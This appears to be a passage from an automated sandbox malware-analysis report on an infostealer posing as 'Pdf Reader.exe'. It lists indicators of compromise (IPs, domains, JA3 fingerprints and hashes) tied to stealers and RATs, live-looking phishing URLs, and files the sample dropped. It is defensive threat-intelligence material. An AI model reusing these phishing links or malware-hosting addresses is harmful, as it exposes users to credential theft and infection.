	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
104.16.184.241	gKWbina3a4.bat	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	uyz4YPUyc9.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	yv7QsAR49V.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	icanhazip.com/
	9fGsCDYKLV.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	file.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	vbe11TPn2x.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	zufmUwylvo.exe	Get hash	malicious	Flesh Stealer, Xmrig	Browse	icanhazip.com/
	gGcpYEOr8U.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
45.112.123.126	gKWbina3a4.bat	Get hash	malicious	Stealerium	Browse
	K6aOw2Jmji.exe	Get hash	malicious	Stealerium	Browse
	uyz4YPUyc9.exe	Get hash	malicious	Stealerium	Browse
	yv7QsAR49V.exe	Get hash	malicious	Stealerium	Browse
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse
	t1gY0BGmOZ.jar	Get hash	malicious	Can Stealer	Browse
	t1gY0BGmOZ.jar	Get hash	malicious	Can Stealer	Browse
	MayitaV16.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.gofile.io	gKWbina3a4.bat	Get hash	malicious	Stealerium	Browse	45.112.123.126
	K6aOw2Jmji.exe	Get hash	malicious	Stealerium	Browse	45.112.123.126
	uyz4YPUyc9.exe	Get hash	malicious	Stealerium	Browse	45.112.123.126
	yv7QsAR49V.exe	Get hash	malicious	Stealerium	Browse	45.112.123.126
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	45.112.123.126
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	45.112.123.126
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	45.112.123.126
	t1gY0BGmOZ.jar	Get hash	malicious	Can Stealer	Browse	45.112.123.126
	t1gY0BGmOZ.jar	Get hash	malicious	Can Stealer	Browse	45.112.123.126
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	45.112.123.126
raw.githubusercontent.com	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.108.133
	gKWbina3a4.bat	Get hash	malicious	Stealerium	Browse	185.199.108.133
	TikTokDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	185.199.110.133
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	185.199.111.133
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	185.199.111.133
	TT18.exe	Get hash	malicious	Stealc, Vidar	Browse	185.199.108.133
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	185.199.109.133
	rookie_2.30.0_portable.zip	Get hash	malicious	Unknown	Browse	185.199.108.133
	secondaryTask.vbs	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	185.199.108.133
	LauncherPred8.3.389 stablesetup.msi	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	185.199.108.133
store4.gofile.io	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	31.14.70.245
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	31.14.70.245
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	31.14.70.245
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	31.14.70.245
	7Y18r(14).exe	Get hash	malicious	LummaC, AsyncRAT, Bdaejec, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	31.14.70.245
	w85VkFOxiD.exe	Get hash	malicious	Python Stealer, CStealer, NiceRAT, Quasar	Browse	31.14.70.245
	9afaXJv52z.exe	Get hash	malicious	Exela Stealer	Browse	31.14.70.245
	NoBackend.exe	Get hash	malicious	Unknown	Browse	31.14.70.245
	Microsoft_Teams_SC.ba#.bat	Get hash	malicious	Unknown	Browse	31.14.70.245
	c0PZAXHMCpdh5F1.exe	Get hash	malicious	Clipboard Hijacker, Redline Clipper, Stealerium	Browse	31.14.70.245
api.telegram.org	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	149.154.167.220
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	149.154.167.220
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	https://lexplosiondemo.komtrol.in/	Get hash	malicious	Unknown	Browse	104.21.72.124
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	1013911.js	Get hash	malicious	FormBook	Browse	104.21.84.67
	fred.html	Get hash	malicious	Unknown	Browse	172.67.212.141
	attached invoice.exe	Get hash	malicious	FormBook	Browse	172.67.159.24
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	https://web.goods-full.link/#/pages/recharge/components/order?type=usdt	Get hash	malicious	Unknown	Browse	104.21.66.212
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
AMAZON-02US	https://lexplosiondemo.komtrol.in/	Get hash	malicious	Unknown	Browse	3.7.129.70
	attached invoice.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://bitbucket.org/ziphose/obmen/downloads/Doc.7z	Get hash	malicious	RMSRemoteAdmin	Browse	185.166.143.49
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	13.227.8.37
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	13.227.8.64
	.i.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	http://frame.wtf	Get hash	malicious	Unknown	Browse	44.238.68.12
	https://emailtransaction.com/?u=84775-2a97acb5884211437e2511ddc7c4e345386c33487a558c479c7af49e7f66170e	Get hash	malicious	Unknown	Browse	52.217.44.238

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	log_processlist.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	force.ps1	Get hash	malicious	Kimsuky	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	1013911.js	Get hash	malicious	FormBook	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	untrippingvT.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	yT6gJFN0SR.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	mX3IqRiuFo.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	6K2g0GMmIE.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245
	G9eWTvswoH.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220 45.112.123.126 185.199.110.133 31.14.70.245

Process:	C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	5.359760117187894
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhBsXE4NpZE4ksKIE4TKBGKoZAE4KKUNa8mE4Dp689:MxHKQwYHKGSI6okHNpZHptHTHhAHKKk0
MD5:	AF926BB938C13A5ABAE3C7FF2E8559B8
SHA1:	660E07F4EEDC5687F42B69B7A091C56994C060FF
SHA-256:	811D29479061BD7B4FD92B2E272AAD4381C41E72BC1DEB53BD467A3D9C287514
SHA-512:	8E2434D4F6FD4D90215B7444F8DBB52BC4B2DA457A1540F6F6586B7187D69956E30EE278F8CF5BCA1353BE303180E68EA1565653CA7379578C45CC3C8CA87B53
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\8af759007c012da690062882e06694f1\System.Management.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Net.Http\f4b68470ad08185826d827aa6e7875b6\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.

C:\Users\user\AppData\Local\Temp\tmp6F88.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7016.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBFB4.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBFE4.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBFF4.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD49B.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD4BB.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE8F4.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE905.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE915.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE935.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF5AD.tmp.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3957248
Entropy (8bit):	7.950594578134381
Encrypted:	false
